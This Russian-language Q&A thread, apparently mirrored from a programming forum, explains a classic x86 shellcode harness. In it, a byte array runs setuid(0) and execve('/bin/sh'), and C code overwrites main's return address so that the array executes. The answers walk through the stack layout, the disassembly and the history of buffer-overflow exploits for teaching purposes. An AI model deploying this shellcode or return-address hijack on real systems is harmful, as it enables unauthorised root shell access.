Кто-нибудь может объяснить мне этот код? - PullRequest
14 голосов
/ 24 апреля 2010

ВНИМАНИЕ: это эксплойт. Не выполняйте этот код.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

Может кто-нибудь дать мне лучшее объяснение?

Ответы [ 6 ]

23 голосов
/ 24 апреля 2010

Очевидно, этот код пытается изменить стек так, чтобы при возврате функции main выполнение программы не возвращалось регулярно в библиотеку времени выполнения (которая обычно завершала бы программу), а вместо этого переходило в код, сохраненный в массив shellcode.

1) int *ret;

определяет переменную в стеке сразу под аргументами main функции.

2) ret = (int *)&ret + 2;

позволяет переменной ret указывать на int *, который помещается на два int s выше ret в стеке. Предположительно, именно там находится адрес возврата, где программа продолжит работу, когда вернется main.

2) (*ret) = (int)shellcode;

Адрес возврата установлен на адрес содержимого массива shellcode, поэтому содержимое shellcode будет выполнено при возврате main.


shellcode, по-видимому, содержит машинные инструкции, которые, возможно, делают системный вызов для запуска /bin/sh. Я могу ошибаться, поскольку на самом деле я не разбираю shellcode.


P.S.: Этот код зависит от машины и компилятора и, возможно, не будет работать на всех платформах.


Ответ на второй вопрос:

и что будет, если я использую ret = (int) & ret +2 и почему мы добавили 2? почему не 3 или 4 ??? и я думаю, что Int равно 4 байта, поэтому 2 будет 8 байтов нет?

ret объявлен как int*, поэтому присвоение ему int (например, (int)&ret) будет ошибкой. Что касается того, почему добавляется 2, а не любое другое число: очевидно, потому что этот код предполагает, что адрес возврата будет лежать в этом месте в стеке. Учтите следующее:

  • В этом коде предполагается, что стек вызовов увеличивается, когда на него что-то надавливается (как это действительно происходит, например, с процессорами Intel). По этой причине число добавляется , а не вычитается : адрес возврата находится по более высокому адресу памяти, чем автоматические (локальные) переменные (такие как ret).

  • Из того, что я помню из моих дней сборки Intel, функцию C часто называют так: во-первых, все аргументы помещаются в стек в обратном порядке (справа налево). Затем функция вызывается. Таким образом, адрес возврата помещается в стек. Затем устанавливается новый кадр стека, который включает в себя помещение регистра ebp в стек. Затем локальные переменные устанавливаются в стеке под всем, что было добавлено в него до этого момента.

Теперь я предполагаю следующий макет стека для вашей программы:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

Внизу лежит ret (32-разрядное целое число). Над ним находится сохраненный регистр ebp (который также имеет ширину 32 бита). Над этим находится 32-битный адрес возврата. (Выше это будут main аргументы - argc и argv - но они здесь не важны.) Когда функция выполняется, указатель стека указывает на ret. Адрес возврата лежит на 64 бита "выше" ret, что соответствует + 2 в

ret = (int*)&ret + 2; 

Это + 2, потому что ret - это int*, а int - 32-битное, поэтому добавление 2 означает установку в ячейку памяти 2 раза; 32 бита (= 64 бита) выше (int*)&ret ... которое будет местоположением адреса возврата, если все предположения в вышеприведенном абзаце верны.


Экскурсия: Позвольте мне продемонстрировать на языке ассемблера Intel, как можно вызывать функцию C (если я правильно помню - я не гуру в этой теме, поэтому могу неправильно):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Внутри main может произойти следующее:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

См. Также: Описание последовательности вызовов процедур в C для другого объяснения этой темы.

19 голосов
/ 25 апреля 2010

Фактический шелл-код:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Это примерно соответствует

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
15 голосов
/ 24 апреля 2010

Эта строка из старого документа о переполнении буфера и выполнит / bin / sh. Так как это вредоносный код (ну, в сочетании с использованием буфера) - вы должны действительно включить его источник в следующий раз.

Из того же документа как кодировать эксплойты на основе стека :

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Код, который вы включили, приводит к выполнению содержимого шеллкода [], запуску execve и предоставлению доступа к оболочке. А термин Shellcode? Из Википедии :

В компьютерной безопасности шеллкод является небольшой кусок кода, используемый в качестве полезная нагрузка в эксплуатации уязвимость программного обеспечения. Это называется "шеллкод", потому что обычно запускает командную оболочку, из которой злоумышленник может контролировать скомпрометированный машина. Шеллкод обычно пишется в машинном коде, но любой кусок кода которая выполняет аналогичную задачу, может быть называется шеллкод.

5 голосов
/ 24 апреля 2010

Не просматривая все действительные коды операций для подтверждения, массив shellcode содержит машинный код, необходимый для выполнения /bin/sh. Этот шелл-код - это машинный код, тщательно сконструированный для выполнения требуемой операции на конкретной целевой платформе и не содержащий null байтов.

Код в main() изменяет адрес возврата и поток выполнения, чтобы заставить программу порождать оболочку, выполняя инструкции в массиве shellcode.

См. Сокрушение стека для удовольствия и прибыли для описания того, как можно создать шелл-код, такой как этот, и как его можно использовать.

0 голосов
/ 24 апреля 2010

Каждый \ xXX является шестнадцатеричным числом. Один, два или три таких числа вместе образуют код операции (Google для этого). Вместе он образует сборку, которая может быть выполнена машиной более или менее напрямую. И этот код пытается выполнить шелл-код.

Я думаю, что шеллкод пытается порождать оболочку.

0 голосов
/ 24 апреля 2010

Строка содержит серию байтов, представленных в шестнадцатеричном формате.

Байты кодируют серию инструкций для конкретного процессора на конкретной платформе - надеюсь, ваша. (Изменить: если это вредоносное ПО, надеюсь не ваше!)

Переменная определена только для того, чтобы получить дескриптор стека. Закладка, если хотите. Затем используется арифметика указателей, опять-таки зависящая от платформы, чтобы манипулировать состоянием программы, чтобы заставить процессор переходить и выполнять байты в строке.

...